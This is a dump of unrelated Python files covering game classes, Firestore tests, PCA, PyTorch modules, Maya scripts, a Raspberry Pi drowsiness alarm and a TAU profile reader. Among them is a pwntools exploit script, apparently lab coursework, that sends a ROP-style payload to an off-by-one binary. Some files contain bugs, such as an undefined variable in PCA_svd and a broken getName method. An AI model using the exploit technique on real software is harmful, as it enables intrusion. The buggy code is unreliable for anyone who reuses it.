# Partially tested

class Player:

  def __init__(self, name):
    self.name = name
    self.strength = 1
    self.vitality = 1
    self.energy = 1
    self.luck = 1
    self.agility = 1
    self.power = 1
    self.exp = 0
    self.level = 1

    self.weaponDamage = 0
    self.attack = 1
    self.armor = 0
    self.defence = 1
    self.hitpoints = round((self.vitality+(self.strength/2)+(self.energy/3)))

  def setAttack(self, weaponVal):
    self.weaponDamage = weaponVal
    self.attack = self.strength+self.weaponDamage

  def setMaxHp(self): # use to update max HP
    self.hitpoints = round((self.vitality+(self.strength/2)+(self.energy/3)))

  def setDefence(self,  armorVal):
    self.armor = armorVal
    self.defence = self.strength+self.armor

  def getName():
    return self.Name

#End Player Class ---------------------------------------------------------------
class Monster:

  def __init__(self, name, strength, vitality, energy, agility, power, attack, defence):
    self.name = name
    self.strength = 1
    self.vitality = 1
    self.energy = 1
    self.agility = 1
    self.power = 1
    self.attack = 1
    self.defence = 1
    self.hitpoints = round((self.vitality+(self.strength/2)+(self.energy/3)))

#End Monster Class ----------------------------------------------------------------------


import sys

sys.path.append("/Users/justin/Projects/missionout_backend")
import pytest
import unittest
from email2mission.documentWrite2mission import documentWrite2mission
from google.cloud.firestore_v1.batch import WriteBatch

class ContestMock:
    def __init__(self, document_id: str):
        self.resource = (
            f"projects/missionout/databases/(default)/documents/webhook/{document_id}"
        )

class DocumentWrite2MissionTestCase(unittest.TestCase):
    def test_existing_document_with_bad_data(self):
        context = ContestMock(document_id="2ytOUdOkNXz6QrdPHfdU")
        result, message = documentWrite2mission({}, context)
        self.assertIsInstance(result, WriteBatch)
        self.assertIn("found error while processing webhook", message)

    def test_existing_document_with_good_data(self):
        context = ContestMock(document_id="Y5DYTcgvt2GnXKCwhDyb")
        result, message = documentWrite2mission({}, context)
        self.assertIsInstance(result, WriteBatch)
        self.assertEqual(
            message,
            "Document already exists. This means the message has already been processed.",
        )

    def test_google_document_with_wrong_mimetype(self):
        context = ContestMock(document_id="NRtObX1uR62oP3jejZ92")
        result, message = documentWrite2mission({}, context)
        self.assertIsInstance(result, WriteBatch)
        self.assertIn("Only plain text messages are accepted", message)

    def test_google_document_with_correct_mimetype(self):
        context = ContestMock(document_id="fR52hY8FAo7IbJc01Wye")
        result, message = documentWrite2mission({}, context)
        self.assertIsInstance(result, WriteBatch)
        self.assertEqual("success", message)

    def test_sendgrid_document(self):
        context = ContestMock(document_id="Y5DYTcgvt2GnXKCwhDyb")
        result, message = documentWrite2mission({}, context)
        self.assertIsInstance(result, WriteBatch)

    def test_no_matching_document(self):
        context = ContestMock(document_id="some wrong id")
        with pytest.raises(FileNotFoundError):
            documentWrite2mission({}, context)

    def test_sendgrid_with_multiple_senders(self):
        context = ContestMock(document_id="omaBb6YAdSAou8F5PSvJ")
        result, message = documentWrite2mission({}, context)
        self.assertIsInstance(result, WriteBatch)

    def test_emojis_break_system(self):
        context = ContestMock(document_id="DuXMFtG3sZqwvIzRKl8R")
        result, message = documentWrite2mission({}, context)
        print(message)
        self.assertIsInstance(result, WriteBatch)
        self.assertEqual("success", message)

if __name__ == "__main__":
    unittest.main()


import numpy as np

# Fast PCA implementation using np.linalg.eigh()
# Faster by around 3 times in small datasets
def PCA(data, num_dim):
    # Reshape the data into flattened vectors [num_samples, -1]
    original_shape = data.shape
    num_samples = data.shape[0]
    data = data.reshape(num_samples, -1)

    # Get the mean and zero center the data
    mean = np.mean(data, axis=0) # per pixel mean
    data = data - mean

    # Get the covariance matrix, Numpy has few tricks in computing covariance
    cov = np.cov(data.T)

    # Perform factor Decomposition, using SVD
    S, V = np.linalg.eigh(cov)

    # V is originally sorted in ascending eigenvalue, we want the opposite sorting
    V = np.fliplr(V)

    # Project the data using fewer eigenvectors - [Compressed Representation]
    data_projected = np.dot(data, V[:, :num_dim])

    # Recover data from the compressed representation
    data_recovered = np.dot(data_projected, V[:, :num_dim].transpose())

    # Print PCA Stats
    diff = data - data_recovered
    error = np.sum(diff*diff) / np.sum(data*data)
    print("PCA with {} Principal Components - {}% variance retained".format(num_dim, (1-error)*100))

    # Add mean
    data_recovered += mean

    # Reshape to original shape
    data_recovered = data_recovered.reshape(*original_shape)

    return data_recovered, V, S

# Performs PCA using SVD
def PCA_svd(data, num_dim):
    # Reshape the data into flattened vectors [num_samples, -1]
    num_samples = data.shape[0]
    data = data.reshape(num_samples, -1)

    # Get the mean and zero center the data
    mean = np.mean(data, axis=0) # per pixel mean
    data = data - mean

    # Get the covariance matrix
    cov = np.dot(data.T, data)

    # Perform factor Decomposition, using SVD
    U, S, V = np.linalg.svd(cov)

    # Project the data using fewer eigenvectors - [Compressed Representation]
    data_compressed = np.dot(data, U[:, :num_dim])

    # Recover data from the compressed representation
    data_recovered = np.dot(data_compressed, U[:, :num_dim].transpose())

    # Print PCA Stats
    diff = data - data_recovered
    error = np.sum(diff*diff) / np.sum(data*data)
    print("PCA with {} Principal Components - {}% variance retained".format(num_dim, (1-error)*100))

    # Add mean
    data_recovered += mean

    # Reshape to original shape
    data_recovered = data_recovered.reshape(*original_shape)

    return data_recovered, U, S

# Search for the least Principal Comp. satisfying variance condition
def PCA_search(data, U, variance=0.01):
    # Reshape the data into flattened vectors [num_samples, -1]
    original_shape = data.shape
    num_samples = data.shape[0]
    data = data.reshape(num_samples, -1)

    # Get the mean and zero center the data
    data_original = data
    mean = np.mean(data, axis=0) # per pixel mean
    data = data - mean

    # Get the denominator
    denominator = np.sum(data_original*data_original)
    right_side = variance * denominator

    # Number of Principal Components
    num_pcomp = data.shape[1]

    # Find the least number of Principal Components needed to satisfy variance condition
    # Binary Search
    upperbound = data.shape[1]
    lowerbound = 0
    i = upperbound//2
    last_i = -1
    while (1):
        # Usual PCA Compression and Recovery
        data_compressed = np.dot(data, U[:, :i])
        data_recovered = np.dot(data_compressed, U[:, :i].transpose())
        data_recovered += mean

        # Squared Error
        diff = data_original - data_recovered
        numerator = np.sum(diff*diff)
        left_side = numerator

        if (left_side > right_side):
            lowerbound = i
            i += (upperbound-lowerbound)//2
        else:
            upperbound = i
            i -= (upperbound-lowerbound)//2

        if (last_i == i):
            break

        last_i = i

    # Print PCA Stats
    diff = data_original - data_recovered
    error = np.sum(diff*diff) / denominator
    print("PCA with {} Principal Components - {}% variance retained".format(i, (1-error)*100))

    # Reshape recovered data
    data_recovered = data_recovered.reshape(*original_shape)

    return data_recovered, i


import numpy as np
import torch
from torch.nn import LSTM, BatchNorm3d, Conv1d, Conv3d, Dropout3d, Module, ReLU

class TextPrep(Module):
    def __init__(self):
        super(TextPrep, self).__init__()
        self.proj_t = Conv1d(768, 30, kernel_size=1, padding=0, bias=False)
        self.activation = ReLU()

    def forward(self, data):
        text_data = data
        text_data = text_data.transpose(1, 2)
        text_data = self.proj_t(text_data)
        text_data = text_data.transpose(1, 2)
        text_data_1 = text_data.reshape(-1).cpu().detach().numpy()
        weights = np.sqrt(np.linalg.norm(text_data_1, ord=2))
        text_data = text_data / weights

        text_att = torch.matmul(text_data, text_data.transpose(-1, -2))
        text_att = self.activation(text_att)

        return text_att

class AudioPrep(Module):
    def __init__(self):
        super(AudioPrep, self).__init__()
        self.proj_a = Conv1d(128, 30, kernel_size=1, padding=0, bias=False)
        self.activation = ReLU()

    def forward(self, data):
        audio_data = data
        audio_data = audio_data.transpose(1, 2)
        audio_data = self.proj_a(audio_data)
        audio_data = audio_data.transpose(1, 2)

        audio_att = torch.matmul(audio_data, audio_data.transpose(-1, -2))
        audio_att = self.activation(audio_att)

        return audio_att

class VideoPrep(Module):
    def __init__(self):
        super(VideoPrep, self).__init__()
        ch1 = 32
        k1 = (4, 4, 4)  # 3d kernel size
        s1 = (2, 2, 1)  # 3d strides
        pd1 = (1, 1, 2)  # 3d padding
        self.proj_v_1 = Conv3d(
            in_channels=5,
            out_channels=ch1,
            kernel_size=k1,
            stride=s1,
            padding=pd1,
            bias=False,
        )
        self.bn1 = BatchNorm3d(ch1)
        self.drop_video = Dropout3d(0.1)
        self.lstm = LSTM(
            input_size=6656, hidden_size=30, num_layers=2, batch_first=True
        )
        self.activation = ReLU()

    def forward(self, data):
        video_data = data
        video_data = self.proj_v_1(video_data)
        video_data = self.bn1(video_data)

        video_data = video_data.reshape((video_data.shape[0], 50, 6656))
        video_data, (_, _) = self.lstm(video_data)

        video_att = torch.matmul(video_data, video_data.transpose(-1, -2))
        video_att = self.activation(video_att)

        return video_att


###########################################################
#Констрейн для одной руки
###########################################################
import maya.cmds as cmds

objects = cmds.ls(selection=1)

Locator1 = cmds.spaceLocator()

parentHand = cmds.listRelatives(objects[0], parent = 1)
Parent1 = cmds.parent(Locator1,parentHand)

Match = cmds.matchTransform(Locator1,objects[0])

LocatorScale = cmds.scale( 0.1, 0.1, 0.1, Locator1)

Locator2 = cmds.spaceLocator()

WeaponGroup = cmds.group(objects[1], Locator2, n='Weapon_grp')

Match = cmds.matchTransform(Locator2,objects[1])

WeaponConst1 = cmds.parentConstraint(Locator2,objects[1])
WeaponConst2 = cmds.parentConstraint(Locator1,WeaponGroup, mo=1,)
###########################################################
#Домашка
###########################################################
import maya.cmds as cmds
Sphere = cmds.polySphere()
TimelineStart = cmds.playbackOptions(minTime=1)
TimelineEnd = cmds.playbackOptions(maxTime=120)
KeyStart = cmds.setKeyframe(Sphere, v = -10, at='translateX', t=TimelineStart)
KeyEnd = cmds.setKeyframe(Sphere, v = 10, at='translateX', t=TimelineEnd)
Cube = cmds.polyCube()
MoveCube = cmds.move(-10,0,10,Cube)
ConstrCube = cmds.parentConstraint(Sphere, Cube, mo=1)
BakeCube = cmds.bakeResults(Cube,simulation=True, t=(TimelineStart,TimelineEnd))
ClearCube = cmds.delete(ConstrCube)


selected_size = tk.StringVar()
depth_mode_list = None
depth_mode_radio = None

selected_color = tk.StringVar()
color_mode_list = None
color_mode_radio = None

selected_resolution = tk.StringVar()
resolution_mode_list = None
resolution_mode_radio = None

selected_framerate = tk.StringVar()
framerate_mode_list = None
framerate_mode_radio = None

self.device_config = Config(
    color_resolution=pyk4a.ColorResolution.RES_720P,
    color_format=pyk4a.ImageFormat.COLOR_BGRA32,
    depth_mode=pyk4a.DepthMode.NFOV_UNBINNED,
    camera_fps=pyk4a.FPS.FPS_30,
    synchronized_images_only=True,
    depth_delay_off_color_usec=0,
    wired_sync_mode=pyk4a.WiredSyncMode.STANDALONE,
    subordinate_delay_off_master_usec=0,
    disable_streaming_indicator=False
)


from scipy.spatial import distance
from imutils import face_utils
import imutils
import dlib
import cv2

import RPi.GPIO as GPIO
from time import sleep

import RPi.GPIO as GPIO
import serial
import time,sys

SERIAL_PORT = "/dev/ttyS0"

ser = serial.Serial(SERIAL_PORT, baudrate = 9600, timeout = 2)

def eye_aspect_ratio(eye):
        A = distance.euclidean(eye[1], eye[5])
        B = distance.euclidean(eye[2], eye[4])
        C = distance.euclidean(eye[0], eye[3])
        ear = (A + B) / (2.0 * C)
        return ear

thresh = 0.25
frame_check = 3
detect = dlib.get_frontal_face_detector()
predict = dlib.shape_predictor("shape_predictor_68_face_landmarks.dat")

(lStart, lEnd) = face_utils.FACIAL_LANDMARKS_68_IDXS["left_eye"]
(rStart, rEnd) = face_utils.FACIAL_LANDMARKS_68_IDXS["right_eye"]
cap=cv2.VideoCapture(0)
flag=0

#Disable warnings (optional)
GPIO.setwarnings(False)
#Select GPIO mode
GPIO.setmode(GPIO.BCM)
#Set buzzer - pin 23 as output
buzzer=23
vibrator=14
GPIO.setup(buzzer,GPIO.OUT)
GPIO.setup(vibrator,GPIO.OUT)
while True:
        ret, frame=cap.read()
        frame = imutils.resize(frame, width=450)
        gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
        subjects = detect(gray, 0)
        for subject in subjects:
            shape = predict(gray, subject)
            shape = face_utils.shape_to_np(shape)#converting to NumPy Array
            leftEye = shape[lStart:lEnd]
            rightEye = shape[rStart:rEnd]
            leftEAR = eye_aspect_ratio(leftEye)
            rightEAR = eye_aspect_ratio(rightEye)
            ear = (leftEAR + rightEAR) / 2.0
            leftEyeHull = cv2.convexHull(leftEye)
            rightEyeHull = cv2.convexHull(rightEye)
            cv2.drawContours(frame, [leftEyeHull], -1, (0, 255, 0), 1)
            cv2.drawContours(frame, [rightEyeHull], -1, (0, 255, 0), 1)
            if ear < thresh:
                flag +=1
                print (flag)
                if flag == frame_check:
                    cv2.putText(frame, "****************ALERT!****************", (10, 30),
                                cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
                    cv2.putText(frame, "****************ALERT!****************", (10,325),
                                cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
                    GPIO.output(buzzer,GPIO.HIGH)
                    GPIO.output(vibrator,GPIO.HIGH)
                    print ("Beep")
                    sleep(0.5) # Delay in seconds

                    #GSM code to send message
                    ser.write(('AT+CMGF=1\r').encode('utf-8'))
                    print("Text mode enabled...")
                    time.sleep(3)
                    ser.write(('AT+CMGS="9035028848"\r').encode('utf-8'))
                    msg="Alert: DROWSINESS DETECTED: CAR NUMBER=KA 03 ME 8089..."
                    print("sending message....")
                    time.sleep(3)
                    ser.write((msg+chr(26)).encode('utf-8'))
                    time.sleep(3)
                    print("message sent...")

                    GPIO.output(buzzer,GPIO.LOW)
                    GPIO.output(vibrator,GPIO.LOW)
                    #print ("No Beep")
                    #sleep(0.5)
                    print ("Drowsy")
            else:
                flag = 0
            cv2.imshow("Frame", frame)
            key = cv2.waitKey(1) & 0xFF
            if key == ord("q"):
                break

cv2.destroyAllWindows()
cap.stop()


# -*- coding: utf-8 -*-

import torch
from torch.nn import Parameter, init
import torch.nn.functional as F
import math

class ComplexDense(torch.nn.Module):
    def __init__(self, in_features, out_features, activation=None, bias=True):
        super(ComplexDense, self).__init__()
        self.in_features = in_features
        self.out_features = out_features
        self.activation = activation
        self.real_weight = Parameter(torch.Tensor(out_features, in_features))
        self.imag_weight = Parameter(torch.Tensor(out_features, in_features))
        if bias:
            self.bias = Parameter(torch.Tensor(2 * out_features))
        else:
            self.register_parameter('bias', None)
        self.reset_parameters()

    def reset_parameters(self):
        init.kaiming_uniform_(self.real_weight, a=math.sqrt(5))
        init.kaiming_uniform_(self.imag_weight, a=math.sqrt(5))
        if self.bias is not None:
            fan_in, _ = init._calculate_fan_in_and_fan_out(self.real_weight)
            bound = 1 / math.sqrt(2 * fan_in)
            init.uniform_(self.bias, -bound, bound)

    def forward(self, inputs):
        real_input = inputs[0]
        imag_input = inputs[1]

        inputs = torch.cat([real_input, imag_input], dim=1)

        cat_weights_4_real = torch.cat(
            [self.real_weight.t(), -self.imag_weight.t()],
            dim=1
        )

        cat_weights_4_imag = torch.cat(
            [self.imag_weight.t(), self.real_weight.t()],
            dim=1
        )
        cat_weights_4_complex = torch.cat(
            [cat_weights_4_real, cat_weights_4_imag],
            dim=0
        )

        output = torch.matmul(inputs, cat_weights_4_complex)
        # print(output.shape)
        if self.bias is not None:
            output = output + self.bias
        if self.activation is not None:
            output = self.activation(output)
        return [output[:,:self.out_features], output[:,self.out_features:]]

    def extra_repr(self):
        return 'in_features={}, out_features={}, bias={}'.format(
            self.in_features, self.out_features, self.bias is not None
        )

def test():
    dense = ComplexDense(4, 5)
    a = torch.randn(3, 4)
    b = torch.randn(3, 4)
    out = dense([a, b])
    if out[0].size(1) == 5 and out[1].size(1) == 5:
        print('ComplexDense Test Passed.')
    else:
        print('ComplexDense Test Failed.')

if __name__ == '__main__':
    test()


from dataclasses import dataclass, field
from typing import List, Optional

__NAMESPACE__ = "http://purl.org/dc/elements/1.1/"

@dataclass
class SimpleLiteral:
    """This is the default type for all of the DC elements.

    It defines a complexType SimpleLiteral which permits mixed content
    but disallows child elements by use of minOcccurs/maxOccurs.
    However, this complexType does permit the derivation of other types
    which would permit child elements. The scheme attribute may be used
    as a qualifier to reference an encoding scheme that describes the
    value domain for a given property.
    """

    scheme: Optional[str] = field(
        default=None,
        metadata={
            "type": "Attribute",
        },
    )
    content: List[object] = field(
        default_factory=list,
        metadata={
            "type": "Wildcard",
            "namespace": "##any",
            "mixed": True,
        },
    )


# Assignment Qno#01
No1 = float(input('Enter a Number : '))
No2 = float(input('Enter  an other Number : '))
operator = input('Enter operation eg (-,+,/,*,**): ')

if (operator == '-'):
    result = No1 - No2
    print("Subtraction of ",No1," and ",No2," is ",result)
elif(operator == '+'):
    result = No1 + No2
    print("Addition of ",No1," and ",No2," is ",result)
elif(operator == '/'):
    result = No1/No2
    print("Division of ",No1," and ",No2," is ",result)
elif(operator == '*'):
    result = No1* No2
    print("Multiplication of ",No1," and ",No2," is ",result)
elif(operator == '**'):
    result = No1 ** No2
    print(No1," power ",No2," is: ",result)
else:
    print('Enter correct operator')

#Assignment Qno#02
List  = ["Hello", "World", 234, "Python", "Programming",False,30,0.331]

for i in List:
    if type(i) == int:
        print("Found numeric value: ",i)

#Assignment Qno#03 part A
Info = {'Name': 'Asad', 'Age': 23, 'Department': 'BSIT'}

print('''Before Update''')
print ("Info['Name']: ", Info['Name'])
print ("Info['Age']: ", Info['Age'])
print ("Info['Department']: ", Info['Department'])

print('''After Update''')

Info= {'Name': 'Asad', 'Age': 23, 'Department': 'BSIT'}
Info['Age'] = 30; # update existing entry
Info['School'] = "KBSAS Campus" # Add new entry

print ("Info['Name']: ", Info['Name'])
print ("Info['Age']: ", Info['Age'])
print ("Info['School']: ", Info['School'])

#Assignment Qno#03 part B
print('Before Update.')
data = {"Price1":291, "Price2":485,"Price3":645}
print(data)

print("After Updating of Keys.")

data.update({"Price4":258}) #1st Method
data['Price5'] = 786  #2nd Method
print(data)

#Assignment Qno#4
def returnSum(dict):

     sum = 0
     for i in dict.values():
           sum = sum + i

     return sum

# Driver Function
dict = {'a': 100, 'b':200, 'c':300}
print("Sum :", returnSum(dict))

#Assignment Qno#5
def Repeat(x):
    _size = len(x)
    repeated = []
    for i in range(_size):
        k = i + 1
        for j in range(k, _size):
            if x[i] == x[j] and x[i] not in repeated:
                repeated.append(x[i])
    return repeated

# Driver Code
list1 = [10, 20, 30, 20, 20, 30, 40,
         50, -20, 60, 60, -20, -20]
print (Repeat(list1))

#Assignment Qno#6
d = {1: 10, 2: 20, 3: 30, 4: 40, 5: 50, 6: 60}
def is_key_present(x):
  if x in d:
      print('Key is present in the dictionary')
  else:
      print('Key is not present in the dictionary')
is_key_present(5)
is_key_present(9)


from pwn import *

p = process('./lab3-off-by-one')
elf = ELF('./lab3-off-by-one')
context.terminal = ["tmux", "splitw", "-h"]
gdb.attach(p)

ret2win = elf.symbols['ret2win']

buf = 0xffffcc08
pop_esp = 0x0804925e
sub_esp = 0x08049260

payload = p32(ret2win) + b'A'* 1004 + p32(pop_esp) + p32(buf) + p32(0x12345678) + p32(sub_esp)
payload += b'\x00'

p.send(payload)
p.interactive()


from typing import List, Tuple

import pandas as pd
from sklearn.model_selection import train_test_split

from multitask_nlp.datasets.base_datamodule import BaseDataModule
from multitask_nlp.settings import PSC_DATA

DEFAULT_RANDOM = 42

class PSC_DataModule(BaseDataModule):
    def __init__(
        self,
        **kwargs,
    ):
        super().__init__(**kwargs)
        self.data_dir = PSC_DATA
        self.annotation_column = ['label']
        self.text_column = 'extract_text'
        self.text_2_column = 'summary_text'

        self.train_split_names = ['train']
        self.val_split_names = ['dev']
        self.test_split_names = ['test']

    @property
    def class_dims(self):
        return [2]

    @property
    def task_name(self):
        return "PSC"

    @property
    def task_type(self):
        return 'classification'

    @property
    def texts_clean(self):
        return (self.data[self.text_column] + ' ' + self.data[self.text_2_column]).to_list()

    def prepare_data(self) -> None:
        text_df, annotations_df = self._get_data_from_split_files()
        self.data = text_df
        self.annotations = annotations_df

    def _get_data_from_split_files(self) -> Tuple[List, ...]:
        df_train_raw = pd.read_table(self.data_dir / 'train.tsv', delimiter=r"\t", engine='python')

        # We take as dev and test sets train split, cause PSC is KLEJ benchmark dataset and the
        # real test split has no ground truth labels and in addition there is no dev set
        df_train, df_test = train_test_split(
            df_train_raw, test_size=1000,
            stratify=df_train_raw['label'],
            random_state=DEFAULT_RANDOM
        )
        df_dev, df_test = train_test_split(
            df_test, test_size=500,
            stratify=df_test['label'],
            random_state=DEFAULT_RANDOM
        )

        df_train['split'] = 'train'
        df_train['text_id'] = 'train_' + df_train.index.astype(str)
        df_train['split'] = 'train'

        df_dev['split'] = 'dev'
        df_dev['text_id'] = 'dev_' + df_dev.index.astype(str)
        df_dev['split'] = 'dev'

        df_test['split'] = 'test'
        df_test['text_id'] = 'test_' + df_test.index.astype(str)
        df_test['split'] = 'test'

        df = pd.concat([df_train, df_dev, df_test], ignore_index=True)
        texts_df = df.loc[:, ['text_id', 'extract_text', 'summary_text', 'split']]
        annotations_df = df.loc[:, ['text_id', 'label']]
        annotations_df.loc[:, 'annotator_id'] = 0
        return texts_df, annotations_df


import re
import os
import glob
import pandas as pd
import hatchet.graphframe
from hatchet.node import Node
from hatchet.graph import Graph
from hatchet.frame import Frame

class TAUReader:
    """Read in a profile generated using TAU."""

    def __init__(self, dirname):
        self.dirname = dirname
        self.node_dicts = []
        self.callpath_to_node = {}
        self.rank_thread_to_data = {}
        self.filepath_to_data = {}
        self.inc_metrics = []
        self.exc_metrics = []
        self.columns = []
        self.multiple_ranks = False
        self.multiple_threads = False

    def create_node_dict(
        self,
        node,
        columns,
        metric_values,
        name,
        filename,
        module,
        start_line,
        end_line,
        rank,
        thread,
    ):
        node_dict = {
            "node": node,
            "rank": rank,
            "thread": thread,
            "name": name,
            "file": filename,
            "module": module,
            "line": int(start_line),
            "end_line": int(end_line),
        }
        for i in range(len(metric_values)):
            node_dict[columns[i + 1]] = metric_values[i]
        return node_dict

    def create_graph(self):
        def _get_name_file_module(is_parent, node_info, symbol):
            """This function gets the name, file and module information
            for a node using the corresponding line in the output file.
            Example line: [UNWIND] <file> [@] <name> [{<file_or_module>} {<line>}]
            There are several line formats in TAU and this function gets
            the node information considering all these formats for which
            examples are given below.
            """
            name, file, module = None, None, None
            # There are several different formats in TAU outputs.
            # There might be file, line, and module information.
            # The following if-else block covers all possible output
            # formats. Example formats are given in comments.
            if symbol == " [@]":
                # Check if there is a [@] symbol.
                # Example: [UNWIND] <file> [@] <name> [{<file_or_module>} {<line>}]
                # Example: [UNWIND] <file> [@] <name> <module>
                node_info = node_info.split(symbol)
                # We don't need file and module information if it's a parent node.
                if not is_parent:
                    file_or_module = node_info[0].split()[1].strip("][")
                    # We put ".so" and ".S" in the module column.
                    if ".so" in node_info[0] or ".S" in node_info[0]:
                        module = file_or_module
                    else:
                        file = file_or_module

                    name = node_info[0].split()[0] + " " + file_or_module
                else:
                    # We just need to take name if it is a parent
                    name = node_info[0]
            elif symbol == " C ":
                # Check if there is a C symbol.
                # "C" symbol means it's a C function.
                node_info = node_info.split(symbol)
                name = node_info[0]
                # We don't need file and module information if it's a parent node.
                if not is_parent:
                    if "[{" in node_info[1]:
                        # Example: <name> C [{<file>} {<line>}]
                        node_info = node_info[1].split()
                        file = node_info[0].strip("}[{")
            else:
                if "[{" in node_info:
                    # If there isn't "C" or "[@]"
                    # Example: [<type>] <name> [{} {}]
                    node_info = node_info.split(" [{")
                    name = node_info[0]
                    # We don't need file and module information if it's a parent node.
                    if not is_parent:
                        if ".so" in node_info[1]:
                            module = node_info[1].split()[0].strip("}{")
                        else:
                            file = node_info[1].split()[0].strip("}{")
                else:
                    # Example 1: [<type>] <name> <module>
                    # Example 2: [<type>] <name>
                    # Example 3: <name>
                    name = node_info
                    node_info = node_info.split()
                    # We need to take module information from the first example.
                    # Another example is "[CONTEXT] .TAU application" which contradicts
                    # with the first example. So we check if there is "\" symbol which
                    # will show the module information in this case.
                    if len(node_info) == 3 and "/" in name:
                        name = node_info[0] + " " + node_info[1]
                        # We don't need file and module information if it's a parent node.
                        if not is_parent:
                            module = node_info[2]
            return [name, file, module]

        def _get_line_numbers(node_info):
            start_line, end_line = 0, 0
            # There should be "[{}]" symbols if there is line number information.
            if "[{" in node_info:
                tmp_module_or_file_line = (
                    re.search(r"\{.*\}\]", node_info).group(0).split(" {")
                )

                line_numbers = tmp_module_or_file_line[1].strip("}]").replace("{", "")
                start_line = line_numbers
                if "-" in line_numbers:
                    # Sometimes there is "-" between start line and end line
                    # Example: {341,1}-{396,1}
                    line_numbers = line_numbers.split("-")
                    start_line = line_numbers[0].split(",")[0]
                    end_line = line_numbers[1].split(",")[0]
                else:
                    if "," in line_numbers:
                        # Sometimes we don't have "-".
                        # Example: {15,0}
                        start_line = line_numbers.split(",")[0]
                        end_line = line_numbers.split(",")[1]
            else:
                # Some [UNWIND] nodes have the following formats.
                # Example 1: [UNWIND] <file>.<line_number> [@]
                # Example 2: [UNWIND] [<file>.<line_number>] [@]
                try:
                    start_line = int(node_info.split(".")[-1].split()[0].strip("]"))
                except ValueError:
                    pass
            return [start_line, end_line]

        def _create_parent(child_node, parent_callpath):
            """In TAU output, sometimes we see a node as a parent
            in the callpath before we see it as a leaf node. In
            this case, we need to create a hatchet node for the parent.

            We can't create a node_dict for the parent because we don't
            know its metric values when we first see it in a callpath.

            Example: a => b => c "<c_metric_values>"
            Here, if we haven't seen 'b' before, we should create it when we
            create 'c'.

            This function recursively creates parent nodes in a callpath
            until it reaches the already existing parent in that callpath.
            """
            parent_node = self.callpath_to_node.get(parent_callpath)

            # Return if arrives to the parent
            # Else create a parent and add parent/child
            if parent_node is not None:
                parent_node.add_child(child_node)
                child_node.add_parent(parent_node)
                return
            else:
                grand_parent_callpath = parent_callpath[:-1]
                parent_info = parent_callpath[-1]
                parent_name = ""

                if " C " in parent_info:
                    parent_name = _get_name_file_module(True, parent_info, " C ")[0]
                elif " [@] " in parent_info:
                    parent_name = _get_name_file_module(True, parent_info, " [@]")[0]
                else:
                    parent_name = _get_name_file_module(True, parent_info, "")[0]

                parent_node = Node(
                    Frame({"type": "function", "name": parent_name}), None
                )
                self.callpath_to_node[parent_callpath] = parent_node

                parent_node.add_child(child_node)
                child_node.add_parent(parent_node)
                _create_parent(parent_node, grand_parent_callpath)

        def _construct_column_list(first_rank_filenames):
            """This function constructs columns, exc_metrics, and
            inc_metrics using all metric files of a rank. It gets the
            all metric files of a rank as a tuple and only loads the
            second line (metadata) of these files.
            """
            columns = []
            for file_index in range(len(first_rank_filenames)):
                with open(first_rank_filenames[file_index], "r") as f:
                    # Get the metric name from the first line (..._TIME)
                    # if it doesn't exist in the second line:
                    # "192 templated_functions_MULTI_TIME"
                    first_line = next(f)
                    # No need to check if the metadata is the same for all metric files.
                    metadata = next(f)

                    # Get first three columns from # Name Calls Subrs Excl Incl ProfileCalls #
                    # ProfileCalls is removed since it is is typically set to 0 and not used.
                    # We only do this once since these column names are the same for all files.
                    if file_index == 0:
                        columns.extend(
                            re.match(r"\#\s(.*)\s\#", metadata).group(1).split(" ")[:-3]
                        )

                    name_metadata = re.search(r"<value>(.*?)<\/value>", metadata)
                    if name_metadata is None:
                        # Get metric from the first line if it doesn't exist in the
                        # second line (metadata).
                        metric_name = first_line.split("_")[-1][:-1]
                    else:
                        # Get metric from the second line (metadata).
                        metric_name = name_metadata.group(1)

                    # TODO: Decide if Calls and Subrs should be inc or exc metrics
                    if metric_name == "CPU_TIME" or metric_name == "TIME":
                        metric_name = "time"
                    elif metric_name == "Name":
                        metric_name == "name"
                    columns.extend([metric_name, metric_name + " (inc)"])
                    self.exc_metrics.append(metric_name)
                    self.inc_metrics.append(metric_name + " (inc)")
            return columns

        # dirpath -> returns path of a directory, string
        # dirnames -> returns directory names, list
        # files -> returns filenames in a directory, list
        profile_filenames = []
        for dirpath, dirnames, files in os.walk(self.dirname):
            profiles_in_dir = glob.glob(dirpath + "/profile.*")
            if profiles_in_dir:
                # sort input files in each directory in the same order
                profile_filenames.append(sorted(profiles_in_dir))

        # Store all files in a list of tuples.
        # Each tuple stores all the metric files of a rank.
        # We process one rank at a time.
        # Example: [(metric1/profile.x.0.0, metric2/profile.x.0.0), ...]
        profile_filenames = list(zip(*profile_filenames))

        # Get column information from the metric files of a rank.
        self.columns = _construct_column_list(profile_filenames[0])

        list_roots = []
        prev_rank, prev_thread = 0, 0
        # Example filenames_per_rank: (metric1/profile.x.0.0 ...)
        for filenames_per_rank in profile_filenames:
            file_info = filenames_per_rank[0].split(".")
            rank, thread = int(file_info[-3]), int(file_info[-1])
            if not self.multiple_ranks:
                self.multiple_ranks = True if rank != prev_rank else False
            if not self.multiple_threads:
                self.multiple_threads = True if thread != prev_thread else False

            # Load all files represent a different metric for a rank or a thread.
            # If there are 2 metrics, load metric1\profile.x.0.0 and metric2\profile.x.0.0
            file_data = []
            for f_index in range(len(filenames_per_rank)):
                # Store the lines after metadata.
                file_data.append(open(filenames_per_rank[f_index], "r").readlines()[2:])

            # Get the root information from only the first file to compare them
            # with others.
            # Example: ".TAU application" 1 1 272 15755429 0 GROUP="TAU_DEFAULT"
            root_line = re.match(r"\"(.*)\"\s(.*)\sG", file_data[0][0])
            root_name = root_line.group(1).strip(" ")
            # convert it to a tuple to use it as a key in callpath_to_node dictionary
            root_callpath = tuple([root_name])
            root_values = list(map(int, root_line.group(2).split(" ")[:-1]))

            # After first profile.0.0.0, only get Excl and Incl metric values
            # from other files since other columns will be the same.
            # We assume each metric file of a rank has the same root.
            first_file_root_name = re.search(r"\"(.*?)\"", file_data[0][0]).group(1)
            for f_index in range(1, len(file_data)):
                root_name = re.search(r"\"(.*?)\"", file_data[f_index][0]).group(1)
                # Below assert statement throws an error if the roots are not the
                # same for different metric files.
                # TODO: We need to find a solution if this throws an error.
                assert first_file_root_name == root_name, (
                    "Metric files for a rank has different roots.\n"
                    + "File: "
                    + filenames_per_rank[f_index]
                    + "\nLine: 2"
                )
                root_line = re.match(r"\"(.*)\"\s(.*)\sG", file_data[f_index][0])
